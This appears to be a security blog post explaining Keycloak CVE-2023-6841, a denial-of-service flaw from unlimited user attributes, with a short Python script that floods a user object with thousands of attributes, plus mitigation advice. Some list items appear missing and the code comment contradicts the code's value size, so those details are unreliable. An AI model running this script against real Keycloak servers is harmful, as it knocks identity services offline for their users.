Keycloak is a popular open-source solution for identity and access management. As more organizations adopt Keycloak, security researchers have started to closely examine its features and flaws. In December 2023, a critical vulnerability was discovered: CVE-2023-6841. This flaw can turn your Keycloak server into a sitting duck, with denial of service attacks that require little technical know-how. Let’s break down what happened, how it works, and what you can do about it.

What is CVE-2023-6841?

CVE-2023-6841 is a Denial of Service (DoS) vulnerability that affects Keycloak servers. The root cause: there’s no limit to the number of attributes you can assign to an object (like a User or Client). As a result, an attacker can keep adding more and more attributes with huge values, causing Keycloak to work overtime handling and returning all this data.

Eventually, the server’s memory and CPU are gobbled up, leading to major slowdowns or crashes. This means your identity management system – the beating heart of your applications’ security – could be knocked offline with just a series of simple HTTP requests.

How Attackers Abuse the Bug

Let’s say the attacker is targeting a user’s profile. Keycloak lets you add arbitrary attributes. If you don’t limit them, nothing stops someone from doing this over and over:

1. Send HTTP POST/PUT requests

Keycloak stores all that data and, on next view, tries to render it all back

The attacker doesn’t even need special privileges – just a way to send requests that set attributes. Over time, the Keycloak server chokes on the sheer volume of data.

Example Exploit Code

Here’s a basic Python code snippet that shows the logic. (For educational purposes only!)

import requests

KEYCLOAK_URL = "https://your-keycloak.example.com";
TOKEN = "paste_admin_or_user_token_here"
USER_ID = "target_user_id_here"

headers = {
    "Authorization": f"Bearer {TOKEN}",
    "Content-Type": "application/json"
}

def add_attributes():
    for i in range(10000):  # Add 10,000 attributes!
        data = {
            "attributes": {
                f"hacker_attr_{i}": ["A" * 100]  # Each value is 1,000 characters
            }
        }
        # Send repeated PATCH/PUT requests. API path may differ per deployment.
        response = requests.put(
            f"{KEYCLOAK_URL}/admin/realms/master/users/{USER_ID}",
            headers=headers,
            json=data
        )
        print(f"Sent attribute {i}, status: {response.status_code}")

add_attributes()

Result: After enough requests, when you try to fetch the user or client object, Keycloak will struggle or potentially crash, causing denial of service.

Why This Happens

Keycloak’s backend stores user attributes in a way that’s flexible but dangerous if not controlled. There’s no built-in limit on:

The length of each attribute’s key and value

If an attacker abuses this, the server’s database, RAM, and CPU usage skyrocket. When you view, list, or sync users, all those bloated attributes have to be loaded and serialized. This easily leads to resource exhaustion.

How Bad Is It?

- No authentication required? In some setups (self-registration or public APIs), anyone can exploit it.

Minimal skill needed: Just repeat requests with junk data.

- Affects all Keycloak setups: Unless you’ve put middleware or custom checks in place, you’re vulnerable.

Limiting the number of custom attributes (e.g., 100 per object)

- Capping the length of each attribute's key and value (e.g., keys max 255 chars, values max 2048 chars)

Upgrade Keycloak to the version where the fix is available.

2. If you can’t upgrade, use a reverse proxy or WAF to rate-limit and inspect incoming attribute requests.

References

- Keycloak Security Advisory (CVE-2023-6841)
- NVD - CVE-2023-6841 Entry
- Keycloak Issue Tracker Discussion

Summary

CVE-2023-6841 is a serious denial of service flaw in Keycloak. It comes down to one thing: no limit on how many or how large an attribute can be per object. The fix is simple in theory: set sane limits. But unless you’ve patched or upgraded, your Keycloak server could be attacked with something as basic as repeated HTTP requests. If you use Keycloak, patch now – and always audit what’s allowed through your APIs.

Timeline

Published on: 09/10/2024 17:15:15 UTC
Last modified on: 10/22/2024 00:47:36 UTC